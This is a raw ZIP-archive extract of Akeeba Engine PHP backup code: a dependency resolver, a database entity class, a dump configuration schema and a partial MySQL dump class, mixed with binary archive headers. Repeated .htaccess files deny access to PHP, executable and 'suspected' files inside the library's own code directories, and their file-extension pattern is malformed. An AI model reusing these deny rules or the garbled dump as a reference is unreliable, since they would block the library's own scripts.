</FilesMatch>PK     \Sʉ      *  vendor/akeeba/engine/engine/Base/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \	  	  :  vendor/akeeba/engine/engine/Dump/Dependencies/Resolver.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Dependencies;

class Resolver
{
	private array $tree;

	private array $resolved;

	private array $unresolved;

	public function __construct(array $tree = [])
	{
		$this->tree = $tree;
	}

	public function add(string $dependent, string $dependency = ''): void
	{
		$this->tree[$dependent] ??= [];

		if ($dependency !== '')
		{
			$this->tree[$dependent][] = $dependency;
		}
	}

	public function remove(string $dependent, string $dependency): void
	{
		if (!$this->tree[$dependent])
		{
			return;
		}

		if (!in_array($dependency, $this->tree[$dependent]))
		{
			return;
		}

		$this->tree[$dependent] = array_values(array_diff($this->tree[$dependent], [$dependency]));
	}

	public function snip(string $dependent): void
	{
		if (!$this->tree[$dependent])
		{
			return;
		}

		unset($this->tree[$dependent]);
	}

	public function resolve(): array
	{
		$this->resolved   = [];
		$this->unresolved = [];

		// Resolve dependencies for each table
		foreach (array_keys($this->tree) as $table)
		{
			$this->resolver($table);
		}

		return $this->resolved;
	}

	private function resolver($item): void
	{
		$this->unresolved[] = $item;

		foreach ($this->tree[$item] as $dep)
		{
			if (!array_key_exists($dep, $this->tree))
			{
				continue;
			}

			if (in_array($dep, $this->resolved, true))
			{
				continue;
			}

			if (in_array($dep, $this->unresolved, true))
			{
				continue;
			}

			$this->unresolved[] = $dep;
			$this->resolver($dep);
		}

		if (!in_array($item, $this->resolved, true))
		{
			$this->resolved[] = $item;
		}

		while (($index = array_search($item, $this->unresolved, true)) !== false)
		{
			unset($this->unresolved[$index]);
		}
	}
}PK     \Sʉ      7  vendor/akeeba/engine/engine/Dump/Dependencies/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Yw(  (  8  vendor/akeeba/engine/engine/Dump/Dependencies/Entity.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Dependencies;

/**
 * Describes a database entity to be backed up.
 *
 * @property string      $type
 * @property string|null $name
 * @property string|null $abstractName
 * @property bool        $dumpContents
 */
class Entity
{
	private string $type = 'table';

	private ?string $name = null;

	private ?string $abstractName = null;

	private bool $dumpContents = true;

	public function __construct(
		string $type, string $name, ?string $abstractName = null, bool $dumpContents = true
	)
	{
		$this->setType($type);
		$this->setName($name);
		$this->setAbstractName($abstractName);
		$this->setDumpContents($dumpContents);
	}

	public function __get($name)
	{
		$method = 'get' . ucfirst($name);

		if (!method_exists($this, $method))
		{
			throw new \DomainException(
				sprintf("Invalid property “%s”", $name)
			);
		}

		return $this->{$method}();
	}

	public function __set($name, $value)
	{
		$method = 'set' . ucfirst($name);

		if (!method_exists($this, $method))
		{
			throw new \DomainException(
				sprintf("Invalid property “%s”", $name)
			);
		}

		$this->{$method}($value);
	}


	public function getType(): string
	{
		return $this->type;
	}

	public function setType(string $type): self
	{
		$type = strtolower($type);

		if (in_array($type, ['table', 'view', 'procedure', 'function', 'trigger', 'event']))
		{
			$this->type = $type;

			return $this;
		}

		if (strpos($type, 'table') !== false)
		{
			$type = 'table';
		}
		elseif (strpos($type, 'view') !== false)
		{
			$type = 'view';
		}
		else
		{
			throw new \InvalidArgumentException(
				sprintf("Invalid database entity type “%s”", $type)
			);
		}

		$this->type = $type;

		return $this;
	}

	public function getDumpContents(): bool
	{
		return $this->dumpContents;
	}

	public function setDumpContents(bool $dumpContents): self
	{
		$this->dumpContents = $dumpContents;

		return $this;
	}

	public function getName(): ?string
	{
		return $this->name;
	}

	public function setName(?string $name): self
	{
		$this->name         = $name;
		$this->abstractName = null;

		return $this;
	}

	public function getAbstractName(): ?string
	{
		return $this->abstractName;
	}

	public function setAbstractName(?string $abstractName): self
	{
		$this->abstractName = $abstractName;

		return $this;
	}

	public function isRoutine(): bool
	{
		return !in_array($this->type, ['table', 'view']);
	}

	public function isTable()
	{
		return $this->type === 'table';
	}

	public function isView()
	{
		return $this->type === 'view';
	}

}PK     \+    ,  vendor/akeeba/engine/engine/Dump/native.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_DUMP_NATIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION"
    },
    "engine.dump.divider.common": {
        "default": "0",
        "type": "separator",
        "title": "COM_AKEEBA_CONFIG_DUMP_DIVIDER_COMMON",
        "bold": "1"
    },
    "engine.dump.common.blankoutpass": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BLANKOUTPASS_TITLE",
        "description": "COM_AKEEBA_CONFIG_BLANKOUTPASS_DESCRIPTION"
    },
    "engine.dump.common.extended_inserts": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_EXTENDEDINSERTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_EXTENDEDINSERTS_DESCRIPTION"
    },
    "engine.dump.common.packet_size": {
        "default": "131072",
        "type": "integer",
        "min": "1",
        "max": "1048576",
        "shortcuts": "16384|32768|65536|131072|262144|524288|1048576",
        "scale": "1024",
        "uom": "KB",
        "title": "COM_AKEEBA_CONFIG_MAXPACKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_MAXPACKET_DESCRIPTION"
    },
    "engine.dump.common.splitsize": {
        "default": "524288",
        "type": "integer",
        "min": "0",
        "max": "10485760",
        "shortcuts": "524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_SPLITDBDUMP_TITLE",
        "description": "COM_AKEEBA_CONFIG_SPLITDBDUMP_DESCRIPTION"
    },
    "engine.dump.common.batchsize": {
        "default": "100000",
        "type": "integer",
        "min": "0",
        "max": "1000000",
        "shortcuts": "10|20|50|100|200|500|1000|2000|2500|5000|10000|20000|25000|50000|100000|250000|500000|1000000",
        "scale": "1",
        "uom": "queries",
        "title": "COM_AKEEBA_CONFIG_BACTHSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACTHSIZE_DESCRIPTION"
    },
    "engine.dump.divider.mysql": {
        "default": "0",
        "type": "separator",
        "title": "COM_AKEEBA_CONFIG_DUMP_DIVIDER_MYSQL",
        "bold": "1"
    },
    "engine.dump.native.advanced_entitites": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_MYSQL5FEATURES_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION"
    },
    "engine.dump.native.nodependencies": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_NODEPENDENCIES_TITLE",
        "description": "COM_AKEEBA_CONFIG_NODEPENDENCIES_DESCRIPTION"
    },
    "engine.dump.native.nobtree": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_MYSQLNOBTREE_TITLE",
        "description": "COM_AKEEBA_CONFIG_MYSQLNOBTREE_TIP"
    },
    "engine.dump.divider.postgres": {
        "default": "0",
        "type": "separator",
        "title": "COM_AKEEBA_CONFIG_DUMP_DIVIDER_POSTGRES",
        "bold": "1"
    },
    "engine.dump.postgres.pgdump_path": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_PGDUMP_PATH_TITLE",
        "description": "COM_AKEEBA_CONFIG_PGDUMP_PATH_DESCRIPTION"
    }
}PK     \0z  0z  1  vendor/akeeba/engine/engine/Dump/Native/Mysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\QueryException;
use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Dump\Dependencies\Entity;
use Akeeba\Engine\Dump\Native\MySQL\BadEntityNamesTrait;
use Akeeba\Engine\Dump\Native\MySQL\CreateStatementTrait;
use Akeeba\Engine\Dump\Native\MySQL\DropStatementTrait;
use Akeeba\Engine\Dump\Native\MySQL\ListEntitiesTrait;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Collection;
use AllowDynamicProperties;
use Countable;
use Exception;
use RuntimeException;
use Throwable;
use function array_map;
use function array_shift;
use function count;
use function intval;
use function max;
use function memory_get_usage;
use function min;
use function str_replace;

/**
 * A generic MySQL database dump class.
 *
 * Configuration parameters:
 * host            <string>    MySQL database server host name or IP address
 * port            <string>    MySQL database server port (optional)
 * username        <string>    MySQL user name, for authentication
 * password        <string>    MySQL password, for authentication
 * database        <string>    MySQL database
 * dumpFile        <string>    Absolute path to dump file; must be writable (optional; if left blank it is
 * automatically calculated)
 */
#[AllowDynamicProperties]
class Mysql extends Base
{
	use BadEntityNamesTrait;
	use ListEntitiesTrait;
	use CreateStatementTrait;
	use DropStatementTrait;

	/**
	 * The primary key structure of the currently backed up table. The keys contained are:
	 * - table        The name of the table being backed up
	 * - field        The name of the primary key field
	 * - value        The last value of the PK field
	 *
	 * @var array
	 */
	protected $table_autoincrement = [
		'table' => null,
		'field' => null,
		'value' => null,
	];

	/** @var Entity|null The next table or DB entity to back up */
	protected $nextTable;

	private $columnListColumnType = [];

	private $columnListSelectColumn = '*';

	private $lastTableColumnType = null;

	private $lastTableSelectColumn = null;

	private Collection $entities;

	private bool $useAbstractNames;

	private ?string $dbRoot;

	private bool $mustFilterRows;

	private bool $mustFilterContents;

	private int $defaultBatchSize;

	private bool $createDropStatements;

	private bool $useDelimiterStatements;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");

		$engineParams                 = Factory::getEngineParamsProvider();
		$this->useAbstractNames       = $engineParams->getScriptingParameter('db.abstractnames', 1) == 1;
		$this->createDropStatements   = $engineParams->getScriptingParameter('db.dropstatements', 0) == 1;
		$this->useDelimiterStatements = $engineParams->getScriptingParameter('db.delimiterstatements', 0) == 1;

		$this->dbRoot = Factory::getConfiguration()->get('volatile.database.root', '[SITEDB]');

		$filters                  = Factory::getFilters();
		$this->mustFilterRows     = $filters->hasFilterType('dbobject', 'children');
		$this->mustFilterContents = $filters->canFilterDatabaseRowContent();

		$this->defaultBatchSize = $this->getDefaultBatchSize();
	}

	/**
	 * Get the current DB name, as reported by the DB server.
	 *
	 * @return  string
	 */
	protected function getDatabaseNameFromConnection(): string
	{
		try
		{
			return $this->getDB()->setQuery('SELECT DATABASE()')->loadResult() ?: '';
		}
		catch (Throwable $e)
		{
			return '';
		}
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns, or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		if ($this->lastTableSelectColumn === $tableAbstract)
		{
			return $this->columnListSelectColumn;
		}

		$this->lastTableSelectColumn  = $tableAbstract;
		$this->columnListSelectColumn = '*';

		try
		{
			$tableCols = $this
				->getDB()
				->setQuery('SHOW COLUMNS FROM ' . $this->getDB()->qn($tableAbstract))
				->loadAssocList();
		}
		catch (Throwable $e)
		{
			return $this->columnListSelectColumn;
		}

		$totalColumns                 = empty($tableCols) ? 0 : count($tableCols);
		$this->columnListSelectColumn = [];
		$hasInvisibleColumns          = false;

		foreach ($tableCols as $col)
		{
			// Skip over generated columns
			$attribs = array_map(
				'strtoupper',
				empty($col['Extra']) ? [] : explode(' ', $col['Extra'])
			);

			if (in_array('GENERATED', $attribs))
			{
				continue;
			}

			if (in_array('INVISIBLE', $attribs))
			{
				$hasInvisibleColumns = true;
			}

			$this->columnListSelectColumn[] = $col['Field'];
		}

		if (!$hasInvisibleColumns && ($totalColumns === count($this->columnListSelectColumn)))
		{
			$this->columnListSelectColumn = '*';
		}

		return $this->columnListSelectColumn;
	}

	/** @inheritDoc */
	protected function getAllTables(): array
	{
		// Get a database connection
		$this->enforceSQLCompatibility();

		try
		{
			return $this->getDB()->setQuery('SHOW TABLES')->loadColumn() ?: [];
		}
		catch (Throwable $e)
		{
			return [];
		}
	}

	/**
	 * Adds tables, views, and routines to the backup queue.
	 *
	 * This method will add procedures, functions, tables, views, triggers, and events to the backup queue.
	 *
	 * Everything but tables and views will only be added if the option to back up stored routines is enabled.
	 *
	 * Tables and views will be added in the order determined by resolving their dependencies. If dependency tracking is
	 * disabled, they are backed up at the order they appear in the database listing.
	 *
	 * @return  void
	 * @throws  Exception
	 */
	protected function getTablesToBackup(): void
	{
		// Makes the MySQL connection compatible with our class
		$this->enforceSQLCompatibility();

		/**
		 * The order routines, tables, and views are added is IMPORTANT. See the linked GitHub issue for information on
		 * the reasoning behind this decision.
		 *
		 * @link https://github.com/akeeba/engine/issues/136
		 */
		$this->entities = new Collection();

		$this->entities = $this->entities->merge($this->getRoutinesCollection('procedure'));
		$this->entities = $this->entities->merge($this->getRoutinesCollection('function'));
		$this->entities = $this->entities->merge(
			$this->resolveDependencies($this->getTablesViewCollection())->values()
		);
		$this->entities = $this->entities->merge($this->getRoutinesCollection('trigger'));
		$this->entities = $this->entities->merge($this->getRoutinesCollection('event'));

		// Create a naming map
		$this->table_name_map = array_combine(
			$this->entities->map(fn(Entity $e) => $e->name)->toArray(),
			$this->entities->map(fn(Entity $e) => $e->abstractName)->toArray()
		);

		/**
		 * Store all abstract entity names (tables, views, triggers etc) into a volatile variable, so we can fetch
		 * it later when creating the databases.json file
		 */
		if ($this->installerSettings->typedtablelist ?? false)
		{
			// BRS 10.x: typed list of entities
			$typedEntityList = [];

			/** @var \Akeeba\Engine\Dump\Dependencies\Entity $entity */
			foreach ($this->entities as $entity)
			{
				$typedEntityList[$entity->getType()] ??= [];
				$typedEntityList[$entity->getType()][] = $entity->getAbstractName();
			}

			Factory::getConfiguration()->set('volatile.database.table_names', $typedEntityList);
		}
		else
		{
			// Support for legacy installers: flat list of entity names
			Factory::getConfiguration()->set('volatile.database.table_names', array_values($this->table_name_map));
		}

	}

	/**
	 * Populate the next entity to back up.
	 *
	 * @return void
	 */
	protected function goToNextTable(): void
	{
		$this->nextTable = $this->entities->shift();
		$this->nextRange = 0;
	}

	/**
	 * Performs one more step of dumping database data.
	 *
	 * DO NOT BREAK INTO MULTIPLE METHODS.
	 *
	 * Calling methods incurs a performance penalty. Since this is a very tight loop which runs thousands to millions of
	 * times per backup job any such small performance penalties accrue into something impractical.
	 *
	 * @return  void
	 *
	 * @throws  QueryException
	 * @throws  Exception
	 */
	protected function stepDatabaseDump(): void
	{
		// Initialize local variables
		$db            = $this->getDB();
		$configuration = Factory::getConfiguration();
		$filters       = Factory::getFilters();

		if (!is_object($db) || ($db === false))
		{
			throw new RuntimeException(__CLASS__ . '::_run() Could not connect to database?!');
		}

		// Apply MySQL compatibility option
		$this->enforceSQLCompatibility();

		// Touch SQL dump file
		$nada = "";
		$this->writeline($nada);

		// Get this table's information
		$this->setStep($this->nextTable->name);
		$this->setSubstep('');
		// Restore any previously information about the largest query we had to run
		$this->largest_query = Factory::getConfiguration()->get('volatile.database.largest_query', 0);

		// If it is the first run, find number of rows and get the CREATE TABLE command.
		if ($this->nextRange == 0)
		{
			$outCreate = $this->getCreateStatement(
				$this->nextTable->abstractName, $this->nextTable->name, $this->nextTable->type
			);

			if (empty($outCreate))
			{
				Factory::getLog()->warning(
					sprintf(
						"Cannot get the CREATE statement for %s %s -- skipping", $this->nextTable->type,
						$this->nextTable->abstractName
					)
				);

				$this->nextRange = 1;
				$this->maxRange  = 0;
			}

			$suffix = "/*ABDE:{$this->nextTable->abstractName}*/\n";

			// Create drop statements if required (the key is defined by the scripting engine)
			if ($this->createDropStatements && !empty($outCreate))
			{
				$dropStatement = $this->createDrop($this->nextTable);

				if (!empty($dropStatement))
				{
					$dropStatement .= $suffix;

					if (!$this->writeDump($dropStatement, true))
					{
						return;
					}
				}
			}

			/**
			 * If we have a PROCEDURE, FUNCTION or TRIGGER and we are doing a SQL export meant to be run directly by
			 * MySQL (the scripting db.delimiterstatements flag is set to 1) we need to surround the CREATE statement
			 * with DELIMITER $$ commands.
			 */
			if (
				!$this->nextTable->isTable() && !$this->nextTable->isView()
				&& $this->useDelimiterStatements
			)
			{
				$outCreate = rtrim($outCreate, ";\n");
				$outCreate = "DELIMITER $$\n$outCreate$$\nDELIMITER ;" . $suffix;
			}

			// Write the CREATE command after any DROP command which might be necessary.
			if (!$this->writeDump(rtrim($outCreate, "\n") . $suffix, true))
			{
				return;
			}

			if ($this->nextTable->dumpContents)
			{
				// We are dumping data from a table, get the row count
				$this->getRowCount($this->nextTable->abstractName);

				// If we can't get the row count we cannot back up this table's data
				if (is_null($this->maxRange))
				{
					Factory::getLog()->warning(
						sprintf(
							"Cannot get the row count for %s %s -- skipping data dump", $this->nextTable->type,
							$this->nextTable->abstractName
						)
					);

					$this->nextRange = 1;
					$this->maxRange  = 0;
				}
			}
			elseif (!$this->nextTable->dumpContents)
			{
				/**
				 * Do NOT move this line to the if-block below. We need to only log this message on tables which are
				 * filtered, not on tables we simply cannot get the row count information for!
				 */
				Factory::getLog()->info(
					sprintf("Skipping dumping data of %s %s", $this->nextTable->type, $this->nextTable->abstractName)
				);
			}

			// The table is either filtered, or we cannot get the row count. Either way we should not dump any data.
			if (!$this->nextTable->dumpContents)
			{
				$this->nextRange = 1;
				$this->maxRange  = 0;
			}

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($this->nextTable->dumpContents && $this->createDropStatements)
			{
				$preamble = $this->getDataDumpPreamble(
					$this->nextTable->abstractName, $this->nextTable->name, $this->maxRange
				);

				if (!empty($preamble))
				{
					Factory::getLog()->debug("Writing data dump preamble for " . $this->nextTable->abstractName);

					if (!$this->writeDump($preamble, true))
					{
						return;
					}
				}
			}

			$this->nextRange ??= 0;
			$this->maxRange  ??= 0;

			// Get the table's auto increment information
			if ($this->nextTable->dumpContents && $this->nextRange < $this->maxRange)
			{
				$this->setAutoIncrementInfo();
			}
		}

		// Get the default and the current (optimal) batch size
		$batchSize = $configuration->get('volatile.database.batchsize', $this->defaultBatchSize);

		// Check if we have more work to do on this table
		if ($this->nextRange < $this->maxRange)
		{
			$timer = Factory::getTimer();

			// Get the number of rows left to dump from the current table
			$columns         = $this->getSelectColumns($this->nextTable->abstractName);
			$columnTypes     = $this->getColumnTypes($this->nextTable->abstractName);
			$columnsForQuery = is_array($columns) ? array_map([$db, 'qn'], $columns) : $columns;
			$sql             = $db->getQuery(true)
				->select($columnsForQuery)
				->from($db->nameQuote($this->nextTable->abstractName));

			if (!is_null($this->table_autoincrement['field']))
			{
				$sql->order($db->qn($this->table_autoincrement['field']) . ' ASC');
			}

			if ($this->nextRange == 0)
			{
				// Get the optimal batch size for this table and save it to the volatile data
				$batchSize = $this->getOptimalBatchSize($this->nextTable->abstractName);
				$configuration->set('volatile.database.batchsize', $batchSize);

				// First run, get a cursor to all records
				$db->setQuery($sql, 0, $batchSize);
				Factory::getLog()->info("Beginning dump of " . $this->nextTable->abstractName);
				Factory::getLog()->debug("Up to $batchSize records will be read at once.");
			}
			else
			{
				// Subsequent runs, get a cursor to the rest of the records
				$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);

				// If we have an auto_increment value and the table has over $batchsize records use the indexed select instead of a plain limit
				if (!is_null($this->table_autoincrement['field']) && !is_null($this->table_autoincrement['value']))
				{
					Factory::getLog()
						->info(
							"Continuing dump of " . $this->nextTable->abstractName
							. " from record #{$this->nextRange} using auto_increment column {$this->table_autoincrement['field']} and value {$this->table_autoincrement['value']}"
						);
					$sql->where(
						$db->qn($this->table_autoincrement['field']) . ' > ' . $db->q(
							$this->table_autoincrement['value']
						)
					);
					$db->setQuery($sql, 0, $batchSize);
				}
				else
				{
					Factory::getLog()
						->info(
							"Continuing dump of " . $this->nextTable->abstractName
							. " from record #{$this->nextRange}"
						);
					$db->setQuery($sql, $this->nextRange, $batchSize);
				}
			}

			$this->query = '';
			$numRows     = 0;

			try
			{
				$cursor = $db->query();
			}
			catch (Exception $exc)
			{
				// Issue a warning about the failure to dump data
				$errno = $exc->getCode();
				$error = $exc->getMessage();
				Factory::getLog()->warning(
					"Failed dumping {$this->nextTable->abstractName} from record #{$this->nextRange}. MySQL error $errno: $error"
				);

				// Reset the database driver's state (we will try to dump other tables anyway)
				$db->resetErrors();
				$cursor = null;

				// Mark this table as done since we are unable to dump it.
				$this->nextRange = $this->maxRange;
			}

			$statsTableAbstract = Platform::getInstance()->tableNameStats;

			while (is_array($myRow = $db->fetchAssoc()) && ($numRows < ($this->maxRange - $this->nextRange)))
			{
				if (!$this->createNewPartIfRequired())
				{
					/**
					 * When createNewPartIfRequired returns false it means that we have began adding a SQL part to the
					 * backup archive but it hasn't finished. If we don't return here, the code below will keep adding
					 * data to that dump file. Yes, despite being closed. When you call writeDump the file is reopened.
					 * As a result of writing data of length Y, the file that had a size X now has a size of X + Y. This
					 * means that the loop in BaseArchiver which tries to add it to the archive will never see its End
					 * Of File since we are trying to resume the backup from *beyond* the file position that was
					 * recorded as the file size. The archive can detect a file shrinking but not a file growing!
					 * Therefore we hit an infinite loop a.k.a. runaway backup.
					 */
					return;
				}

				$numRows++;
				$numOfFields = is_array($myRow) || $myRow instanceof Countable ? count($myRow) : 0;

				// On MS SQL Server there's always a RowNumber pseudocolumn added at the end, screwing up the backup (GRRRR!)
				if ($db->getDriverType() == 'mssql')
				{
					$numOfFields--;
				}

				if ($numOfFields === 0)
				{
					Factory::getLog()->warning(
						sprintf(
							"No columns for %s %s -- skipping data dump.",
							$this->nextTable->type, $this->nextTable->abstractName
						)
					);

					$numRows = $this->maxRange - $this->nextRange;

					break;
				}

				// If row-level filtering is enabled, please run the filtering
				if ($this->mustFilterRows)
				{
					$isFiltered = $filters->isFiltered(
						[
							'table' => $this->nextTable->abstractName,
							'row'   => $myRow,
						],
						$this->dbRoot,
						'dbobject',
						'children'
					);

					if ($isFiltered)
					{
						// Update the auto_increment value to avoid edge cases when the batch size is one
						if (!is_null($this->table_autoincrement['field'])
						    && isset($myRow[$this->table_autoincrement['field']]))
						{
							$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
						}

						continue;
					}
				}

				if ($this->mustFilterContents)
				{
					$filters->filterDatabaseRowContent($this->dbRoot, $this->nextTable->abstractName, $myRow);
				}

				// Add header on simple INSERTs, or on extended INSERTs if there are no other data, yet
				$newQuery = false;

				if (
					!$this->extendedInserts || ($this->extendedInserts && empty($this->query))
				)
				{
					$newQuery  = true;
					$fieldList = $this->getFieldListSQL($columns);

					$this->query = "INSERT INTO " . $db->nameQuote(
							(!$this->useAbstractNames ? $this->nextTable->name : $this->nextTable->abstractName)
						) . " {$fieldList} VALUES \n";
				}

				$outData = '(';

				// Step through each of the row's values
				$fieldID = 0;

				// Used in running backup fix
				$isCurrentBackupEntry = false;

				// Fix 1.2a - NULL values were being skipped
				foreach ($myRow as $fieldName => $value)
				{
					// The ID of the field, used to determine placement of commas
					$fieldID++;

					if ($fieldID > $numOfFields)
					{
						// This is required for SQL Server backups, do NOT remove!
						continue;
					}

					// Fix 2.0: Mark currently running backup as successful in the DB snapshot
					if ($this->nextTable->abstractName == $statsTableAbstract)
					{
						if ($fieldID == 1)
						{
							// Compare the ID to the currently running
							$statistics           = Factory::getStatistics();
							$isCurrentBackupEntry = ($value == $statistics->getId());
						}
						elseif ($fieldID == 6)
						{
							// Treat the status field
							$value = $isCurrentBackupEntry ? 'complete' : $value;
						}
					}

					// Post-process the value
					if (is_null($value))
					{
						$outData .= "NULL"; // Cope with null values
					}
					else
					{
						// Accommodate for runtime magic quotes
						if (function_exists('get_magic_quotes_runtime'))
						{
							$value = @get_magic_quotes_runtime() ? stripslashes($value) : $value;
						}

						switch ($columnTypes[$fieldName] ?? '')
						{
							// Hex encode spatial data
							case 'BYTEA':
							case 'JSONB':
							case 'GEOMETRY':
							case 'GEOGRAPHY':
							case 'POINT':
							case 'LINESTRING':
							case 'POLYGON':
							case 'MULTIPOINT':
							case 'MULTILINESTRING':
							case 'MULTIPOLYGON':
							case 'GEOMETRYCOLLECTION':
								$value = $db->quoteHex($value);
								break;

							// VARCHAR, CHAR, TEXT etc: the database makes sure it's quoted appropriately.
							default:
								$value = $db->quote($value);
								break;
						}

						if ($this->postProcessValues)
						{
							$value = $this->postProcessQuotedValue($value);
						}

						$outData .= $value;
					}

					if ($fieldID < $numOfFields)
					{
						$outData .= ', ';
					}
				}

				$outData .= ')';

				if ($numOfFields)
				{
					// If it's an existing query and we have extended inserts
					if ($this->extendedInserts && !$newQuery)
					{
						// Check the existing query size
						$query_length = strlen($this->query);
						$data_length  = strlen($outData);

						if (($query_length + $data_length) > $this->packetSize)
						{
							// We are about to exceed the packet size. Write the data so far.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$fieldList = $this->getFieldListSQL($columns);

							$this->query = '';
							$this->query = "INSERT INTO " . $db->nameQuote(
									(!$this->useAbstractNames ? $this->nextTable->name : $this->nextTable->abstractName)
								) . " {$fieldList} VALUES \n";
							$this->query .= $outData;
						}
						else
						{
							// We have room for more data. Append $outData to the query.
							$this->query .= ",\n";
							$this->query .= $outData;
						}
					}
					// If it's a brand new insert statement in an extended INSERTs set
					elseif ($this->extendedInserts && $newQuery)
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Let's see the size of the dumped data...
						$query_length = strlen($this->query);

						if ($query_length >= $this->packetSize)
						{
							// This was a BIG query. Write the data to disk.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$this->query = '';
						}
					}
					// It's a normal (not extended) INSERT statement
					else
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Write the data to disk.
						$this->query .= ";\n";

						if (!$this->writeDump($this->query, true))
						{
							return;
						}

						// Then, start a new query
						$this->query = '';
					}
				}

				// Update the auto_increment value to avoid edge cases when the batch size is one
				if (!is_null($this->table_autoincrement['field']))
				{
					$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
				}

				unset($myRow);

				// Check for imminent timeout
				if ($timer->getTimeLeft() <= 0)
				{
					Factory::getLog()
						->debug(
							"Breaking dump of {$this->nextTable->abstractName} after $numRows rows; will continue on next step"
						);

					break;
				}
			}

			$db->freeResult($cursor);

			// Advance the _nextRange pointer
			$this->nextRange += ($numRows != 0) ? $numRows : 1;

			$this->setStep($this->nextTable->name);
			$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);
		}

		// Finalize any pending query
		// WARNING! If we do not do that now, the query will be emptied in the next operation and all
		// accumulated data will go away...
		if (!empty($this->query))
		{
			$this->query .= ";\n";

			if (!$this->writeDump($this->query, true))
			{
				return;
			}

			$this->query = '';
		}

		// Check for end of table dump (so that it happens inside the same operation)
		if ($this->nextRange >= $this->maxRange)
		{
			// Tell the user we are done with the table
			Factory::getLog()->debug("Done dumping " . $this->nextTable->abstractName);

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($this->nextTable->dumpContents && $this->createDropStatements)
			{
